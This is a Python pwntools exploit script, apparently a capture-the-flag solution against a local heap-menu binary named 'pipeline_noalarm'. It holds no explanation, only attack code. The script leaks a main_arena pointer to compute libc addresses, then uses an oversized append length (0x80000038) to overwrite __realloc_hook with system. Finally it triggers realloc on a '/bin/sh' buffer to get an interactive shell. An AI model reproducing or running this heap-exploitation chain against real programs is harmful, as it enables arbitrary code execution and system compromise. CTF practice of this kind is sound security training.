from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'

p = process('./pipeline_noalarm')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

#gdb.attach(p)
#pause()

def add():
    p.sendlineafter('>> ','1')

def edit(index,offset,size):
    p.sendlineafter('>> ','2')
    p.sendlineafter('index: ',str(index))
    p.sendlineafter('offset: ',str(offset))
    p.sendlineafter('size: ',str(size))

def destory(index):
    p.sendlineafter('>> ','3')
    p.sendlineafter('index: ',str(index))

def append(index,size,data):
    p.sendlineafter('>> ','4')
    p.sendlineafter('index: ',str(index))
    p.sendlineafter('size: ',str(size))
    p.sendafter('data: ',data)

def show(index):
    p.sendlineafter('>> ','5')
    p.sendlineafter('index: ',str(index))

#93E
add()
add()
edit(0,0,0x418)
edit(1,0,0x28)
add()
edit(0,0,0)
edit(0,0,0x418)
show(0)
p.recvuntil('data: ')
main_arena_addr = u64(p.recvn(6).ljust(8,b'\x00'))-96
libc_offset = main_arena_addr - 0x10 - libc.symbols['__malloc_hook']
realloc_hook_addr = libc_offset + libc.symbols['__realloc_hook']
system_addr = libc_offset + libc.symbols['system']

#gdb.attach(p)
edit(2,0,0x18)
append(1,0x80000038,b'/bin/sh'.ljust(0x30,b'\x00')+p64(realloc_hook_addr))
append(2,0x08,p64(system_addr))
edit(1,0,0x18)

p.interactive()